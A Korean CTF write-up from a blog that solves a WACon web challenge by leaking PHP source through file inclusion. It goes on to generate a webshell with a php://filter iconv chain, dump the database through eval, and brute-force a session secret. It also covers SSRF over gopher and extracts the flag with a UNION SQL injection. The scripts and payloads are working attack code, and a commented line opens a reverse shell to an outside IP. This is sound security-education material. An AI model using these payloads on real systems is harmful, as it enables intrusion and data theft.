ash3r & dmawhwhd
Wacon - Kuncɛlan 본문
예선 시간에 문제를 거의 다 풀었는데 아쉬워서 여러 풀이들을 공부하여 write up을 작성해봤습니다..!!
문제에서 제공되는 http://114.203.209.112:8000에 접속한 모습입니다.
guest, guest로 로그인 하게 되면 curl을 보낼 수 있는 기능이 있습니다. 하지만 localhost이어야 가능하다고 알려줍니다.
http://114.203.209.112:8000/index.phtml?fun_004ded7246=load url이 이렇게 생긴 것을 보아 혹시 include인가 싶어 index를 넣어봤습니다.
무한루프를 도는 것을 보아 include가 맞다고 생각했습니다. index만 넣었을 때 include가 되었기에 .phtml이 뒤에 붙는 것을 예측할 수 있습니다. 그래서 php://filter/convert.base64-encode/resource=index를 통해 소스 leak을 하였습니다.
<?php
error_reporting(0);
session_start();
if(!isset($_SESSION['username'])) {
header('location: ./login.php');
die();
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">
<link rel="icon" href="favicon.png">
<title>Home</title>
<link rel="canonical" href="https://getbootstrap.com/docs/4.0/examples/sticky-footer-navbar/">
<!-- Bootstrap core CSS -->
<link href="https://getbootstrap.com/docs/4.0/dist/css/bootstrap.min.css" rel="stylesheet">
<!-- Custom styles for this template -->
<link href="https://getbootstrap.com/docs/4.0/examples/sticky-footer-navbar/sticky-footer-navbar.css" rel="stylesheet">
</head>
<body>
<header>
<!-- Fixed navbar -->
<nav class="navbar navbar-expand-md navbar-dark fixed-top bg-dark">
<a class="navbar-brand" href="./index.phtml?fun_004ded7246">Home</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarCollapse" aria-controls="navbarCollapse" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarCollapse">
<ul class="navbar-nav mr-auto">
<li class="nav-item active">
<a class="nav-link" href="./index.phtml?fun_004ded7246">Home</a>
</li>
<li class="nav-item active">
<a class="nav-link" href="./index.phtml?fun_004ded7246=load">Fun?</a>
</li>
</ul>
<h5><font color="#fff">Welcome </font><font color="#fff"><strong><?php echo $_SESSION['username']; ?></strong></font> 👋</h5>
<h5><a class="nav-link" href="./logout.php">Logout</a></h5>
</div>
</nav>
</header>
<!-- Begin page content -->
<?php
if (isset($_GET["fun_004ded7246"])) {
if($_GET["fun_004ded7246"] !== ""){include $_GET["fun_004ded7246"].".phtml";}
else {
?>
<main role="main" class="container">
<h1 class="mt-5">They said ?</h1>
<p class="lead">A secure website should start with <code>https</code> rather than <code>http</code>. The "s" in "https" stands for "secure". </p>
</main>
<?php
}
}
else{
header('location: ./index.phtml?fun_004ded7246');
die();
}
?>
<footer class="footer">
<div class="container">
<span class="text-muted">You can totally do this.</span>
</div>
</footer>
<!-- Bootstrap core JavaScript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
<script>window.jQuery || document.write('<script src="https://getbootstrap.com/docs/4.0/assets/js/vendor/jquery-slim.min.js"><\/script>')</script>
<script src="https://getbootstrap.com/docs/4.0/assets/js/vendor/popper.min.js"></script>
<script src="https://getbootstrap.com/docs/4.0/dist/js/bootstrap.min.js"></script>
</body>
</html>
<?php
// LOCATION : ./internal_e0134cd5a917.php
error_reporting(0);
session_start();
if (!isset($_SESSION['username']))
{
header('location: ./login.php');
die();
}
if (__FILE__ === $_SERVER['SCRIPT_FILENAME'])
{
die("only in include");
}
function valid_url($url)
{
$valid = False;
$res=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$res) $valid = True;
try{ parse_url($url); }
catch(Exception $e){ $valid = True;}
$int_ip=ip2long(gethostbyname(parse_url($url)['host']));
return $valid
|| ip2long('127.0.0.0') >> 24 == $int_ip >> 24
|| ip2long('10.0.0.0') >> 24 == $int_ip >> 24
|| ip2long('172.16.0.0') >> 20 == $int_ip >> 20
|| ip2long('192.168.0.0') >> 16 == $int_ip >> 16
|| ip2long('0.0.0.0') >> 24 == $int_ip >> 24;
}
function get_data($url)
{
if (valid_url($url) === True) { return "IP not allowed or host error"; }
$ch = curl_init();
$timeout = 7;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$data = curl_exec($ch);
if (curl_error($ch))
{
curl_close($ch);
return "Error !";
}
curl_close($ch);
return $data;
}
function gen($user){
return substr(sha1((string)rand(0,getrandmax())),0,20);
}
if(!isset($_SESSION['X-SECRET'])){ $_SESSION["X-SECRET"] = gen(); }
if(!isset($_COOKIE['USER'])){ setcookie("USER",$_SESSION['username']); }
if(!isset($_COOKIE['X-TOKEN'])){ setcookie("X-TOKEN",hash("sha256", $_SESSION['X-SECRET']."guest")); }
$IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']);
$out = "";
if (isset($_POST['url']) && !empty($_POST['url']))
{
if (
$IP === "127.0.0.1"
& $_COOKIE['X-TOKEN'] === hash("sha256", $_SESSION['X-SECRET'].$_COOKIE['USER'])
& strpos($_COOKIE['USER'], 'admin') !== false
)
{
$out = get_data($_POST['url']);
}
else
{
$out = "Only the administrator can test this function from 127.0.0.1!";
}
}
?>
<main role="main" class="container">
<h1 class="mt-5">𝖈𝖚𝖗𝖑:// ?</h1>
<p class="lead">cURL is powered by libcurl , used to interact with websites 🌐</p>
<form method="post" >
<legend><label for="url">Website URL</label></legend>
<input class="form-control" type="url" name="url" style="width:100%" />
<input class="form-control" type="submit" value="👉 Request HTTP 👈">
</form><?php echo $out; ?>
</main>
index.phtml과 load.phtml을 leak할 수 있습니다. index.phtml 소스를 보면
그냥 아무런 필터 없이 include를 해줍니다. 따라서 rce가 가능합니다. unintend 풀이인데 hxp ctf 2021에서 나온 풀이인데 php://filter에서 filter chain을 통해 php backdoor를 생성할 수 있습니다. 단, include할 파일이 존재해야 한다는 조건이 있습니다. 이 취약점의 주요 원인은 convert.iconv.UTF8.CSISO2022KR로 encoding을 하면 \x1b$)c가 확정적으로 앞에 나옵니다. 이를 통해 원하는 글자를 생성하게 되는데 convert.base64-decode는 printable하지 못한 문자들을 다 지워주기에 encoding을 통해 생성된 문자들을 printable하게 바꿔줄 수 있습니다. \x1b$)을 encoding을 하며 문자를 만드는 filter chain은 구글링을 통해 찾아 풀이했습니다. filter chain을 찾는 코드는 짜려했지만 inconv에서 지원하는 encoding 방식이 너무 많아 아직 어떻게 효율적으로 생성할 지 모르겠어서 못 짰습니다.
https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
import requests
import base64
url = "http://114.203.209.112/index.phtml"
file_to_use ="/var/www/html/load"
command = "ls"#"bash -i >& /dev/tcp/1.225.29.95/9999 0>&1"
#<?=`$_GET[0]`;;?>
base64_payload = "PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4"#"PD89YCRfR0VUWzBdYDs7Pz4"
conversions = {
'/' : 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
'0' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'1' : 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
'2' : 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
'3' : 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
'4' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
'5' : 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE',
'6' : 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
'7' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'8' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'A' : 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
'B' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C' : 'convert.iconv.UTF8.CSISO2022KR',
'D' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'E' : 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
'F' : 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
'G' : 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
'H' : 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
'I' : 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
'J' : 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
'K' : 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
'L' : 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
'M' : 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
'N' : 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
'O' : 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
'P' : 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'Q' : 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
'R' : 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
'S' : 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
'T' : 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
'U' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'V' : 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
'W' : 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'X' : 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
'Y' : 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
'Z' : 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
'a' : 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
'b' : 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
'c' : 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
'd' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'e' : 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
'f' : 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
'g' : 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
'h' : 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
'i' : 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
'j' : 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
'k' : 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
'l' : 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
'm' : 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
'n' : 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
'o' : 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
'p' : 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
'q' : 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
'r' : 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
's' : 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
't' : 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
'u' : 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
'v' : 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932',
'w' : 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
'x' : 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
'y' : 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
'z' : 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
}
# generate some garbage base64
filters = "convert.base64-encode|convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
#r = requests.get(url, params={
# "0": command,
# "fun_004ded7246": final_payload
#})
print(final_payload)
다음과 같은 코드를 통해 php backdoor 코드를 생성할 수 있습니다.
생성한 payload를 입력하면 rce가 가능해집니다.
<?php
$FLAG = "[+] <strong>NEXT FLAG LOCATION:</strong> ./internal_1d607d2c193b.php";
if ($_SERVER["REMOTE_ADDR"] !== "127.0.0.1") {
$FLAG="from localhost only !";
}
?>
<main role="main" class="container">
<h1 class="mt-5">FLAG ?</h1>
<p class="lead"><?php print_r($FLAG); ?> </p>
internal_e0134cd5a917.php가 있어 확인해보니 단순히 internal_1d607d2c193b.php로 가라고 얘기해 주었습니다.
<?php
error_reporting(0);
require_once('./db2.php');
$out = "";
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="Private"');
header('HTTP/1.0 401 Unauthorized');
die('Header `Authorization: Basic is not set, Sorry :)!');
}
else {
if (empty($_POST)){die('POST EMPTY!');}
$username = trim($_SERVER['PHP_AUTH_USER']);
$password = trim($_SERVER['PHP_AUTH_PW']);
$out= $username;
$sql = "SELECT * FROM auth_user WHERE login='". $username ."' and password='". $password ."'";
$res = $conn->query($sql);
if($res) {
if($res->num_rows == 0){die('SQL : user not found');}
if($_SERVER['REMOTE_ADDR']!='127.0.0.1') die('from localhost only !');
$user = $res->fetch_assoc();
$data = $user["login"];
$out = "Hello $data</br>PART 2 FLAG: _ffabcdbc}";
} else {
$out = "Error message : ".$conn->error;
}
}
?>
part2 flag가 들어있었고 sqli가 터지는 것을 발견할 수 있었습니다. 그래서 db에 플래그가 존재할 것이라고 생각하여 아까 생성한 backdoor code가
<?php eval($_GET[1]);?>
db와 연결하고 sql query를 실행해 주는 코드를 입력하였습니다.
require_once(%27/var/www/html/db.php%27);$sql="select%20*%20from%20users";$res=$conn->query($sql);$user=$res->fetch_assoc();var_dump($user);
이와 같이 입력하여 part1 플래그까지 구했습니다.
flag: WACon{Try_using_Gophhhher_ffabcdbc}
intend 풀이
function valid_url($url)
{
$valid = False;
$res=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$res) $valid = True;
try{ parse_url($url); }
catch(Exception $e){ $valid = True;}
$int_ip=ip2long(gethostbyname(parse_url($url)['host']));
return $valid
|| ip2long('127.0.0.0') >> 24 == $int_ip >> 24
|| ip2long('10.0.0.0') >> 24 == $int_ip >> 24
|| ip2long('172.16.0.0') >> 20 == $int_ip >> 20
|| ip2long('192.168.0.0') >> 16 == $int_ip >> 16
|| ip2long('0.0.0.0') >> 24 == $int_ip >> 24;
}
function get_data($url)
{
if (valid_url($url) === True) { return "IP not allowed or host error"; }
$ch = curl_init();
$timeout = 7;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$data = curl_exec($ch);
if (curl_error($ch))
{
curl_close($ch);
return "Error !";
}
curl_close($ch);
return $data;
}
function gen($user){
return substr(sha1((string)rand(0,getrandmax())),0,20);
}
if(!isset($_SESSION['X-SECRET'])){ $_SESSION["X-SECRET"] = gen(); }
if(!isset($_COOKIE['USER'])){ setcookie("USER",$_SESSION['username']); }
if(!isset($_COOKIE['X-TOKEN'])){ setcookie("X-TOKEN",hash("sha256", $_SESSION['X-SECRET']."guest")); }
$IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']);
$out = "";
if (isset($_POST['url']) && !empty($_POST['url']))
{
if (
$IP === "127.0.0.1"
& $_COOKIE['X-TOKEN'] === hash("sha256", $_SESSION['X-SECRET'].$_COOKIE['USER'])
& strpos($_COOKIE['USER'], 'admin') !== false
)
{
$out = get_data($_POST['url']);
}
else
{
$out = "Only the administrator can test this function from 127.0.0.1!";
}
}
curl 요청을 보내려면 3가지 조건을 만족해야합니다. $SERVER['HTTP_X_HTTP_HOST_OVERRIDE']가 127.0.0.1 이어야하고 $_COOKIE['USER']가 admin이어야하며 $_COOKIE['X-TOKEN']이 hash("sha256", $_SESSION['X-SECRET'].$_COOKIE['USER'])이 $COOKIE['X-TOKEN']과 같아야합니다. 마지막 조건을 만족되기 위해서는 X-SECRET을 알아내는 방법과 hash length extension attack이 있습니다.
첫째, hash length extension attack
1. Key의 길이를 알아야 합니다.
2. salt + msg의 형태
3. salt + msg의 hash값을 알아야 합니다.
4. 해시 알고리즘의 종류가 Merkle-Damgard construction에 기반한 것들(MD5, SHA-1, SHA-2, SHA-256~~)
이 조건들을 모두 만족하기에 공격이 가능합니다. hashpump라는 tool을 이용하여 payload를 작성했습니다.
둘째, X-SECRET 알아내기
X-SECRET이 구해지는 이유는 경우의 수가 2147483647밖에 안되기에 일정량의 레인보우 테이블을 만들고 X-TOKEN이 없으면 X-SECRET을 reset해주기에 계속 reset시켜 레인보우 테이블에 들어있는 hash값을 찾으면 되기에 꾀나 빠르게 찾을 수 있습니다.
레인보우 테이블 생성 코드
import hashlib
from threading import Thread
fp = open("res2.txt", "w")
def work(start, end):
for i in range(start, end):
secret = hashlib.sha1(str(i)).hexdigest()[:20]
res = hashlib.sha256(secret+"guest").hexdigest()
fp.write(secret + " " + res +"\n")
if __name__ == "__main__":
START, END = 0, 2147483648
half = END // 2
half_l = END // 4
half_r = half + half_l
th1 = Thread(target=work, args=(START, half_l))
th2 = Thread(target=work, args=(half_l, half))
th3 = Thread(target=work, args=(half, half_r))
th4 = Thread(target=work, args=(half_r, END))
th1.start()
th2.start()
th3.start()
th4.start()
레인보우 테이블에 있는 hash 찾는 코드
import requests
r = requests.session()
cookies = {"PHPSESSID":"5nm666jfdlolpcvo89pa284ue6", "USER":"admin"}
headers = {"X-HTTP-HOST-OVERRIDE":"127.0.0.1"}
secret = "47ada67c854c6afb4283"
fp = open('res2.txt','r')
data =fp.read()
print 1
while True:
r.get("http://114.203.209.112:8000/logout.php", headers=headers, cookies=cookies)
r.post("http://114.203.209.112:8000/login.php", headers=headers, cookies=cookies, data={"username":"guest", "password":"guest"})
res = r.get("http://114.203.209.112:8000/index.phtml?fun_004ded7246=load", headers=headers, cookies=cookies)
hash = res.headers['Set-Cookie'].split('=')[1]
if hash in data:
print hash
break
조건을 만족시키면 curl을 실행시킬 수 있습니다.
$ch = curl_init();
$timeout = 7;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$data = curl_exec($ch);
load.phtml의 curl 옵션을 보면 MAXREDIRS가 1이고 FOLLOWLOCATION이 1이어서 한번 redirect 할 수 있습니다. 그래서 ip check해주는 부분은 의미가 없어집니다. 제 서버에서 Location: http://127.0.0.1:8000/internal_e0134cd5a917.php로 설정해주어 요청을 보냈습니다.
하지만 결과는 Error였습니다. http://114.203.209.112:8000로도 해보았지만 curl에서 요청을 받아오지 못하는 것을 확인했습니다. 그래서 저는 gopher를 사용했습니다. gopher는 포트 80으로 해주어야 하고 \r\n은 header()에서 막기에 url encoding을 해주어야합니다.
이와 같이 설정을 해준 후 요청을 보내보니 internal_1d607d2c193b.php로 가라고 하여서 바꿔서 요청을 보냈습니다. 요청을 보내니 401 Unauthorized Header `Authorization: Basic is not set, Sorry :)! 가 나타나는 것을 보아 Authorization header를 추가해주어 보내줬습니다. 그 다음은 POST가 아니라기에 POST로 바꾸어 요청을 보냈습니다.
user not found라는 에러를 발견하고 이는 sqli가 발생할 수 있겠다 싶어 공격을 해보았더니 가능했고 union select를 통해 information_schema를 데이터를 뽑고 table_name과 column_name들을 알아내어 최종적으로 -1' union select 1,group_concat(password),1 from auth_user#:123 라는 payload로 플래그를 뽑았습니다.
flag: WACon{Try_using_Gophhhher_ffabcdbc}
'CTF > web' 카테고리의 다른 글
Wacon - ppower (0) | 2022.07.05 |
---|---|
Wacon - yet_another_baby_web (0) | 2022.06.28 |
Wacon - sqqqli (0) | 2022.06.28 |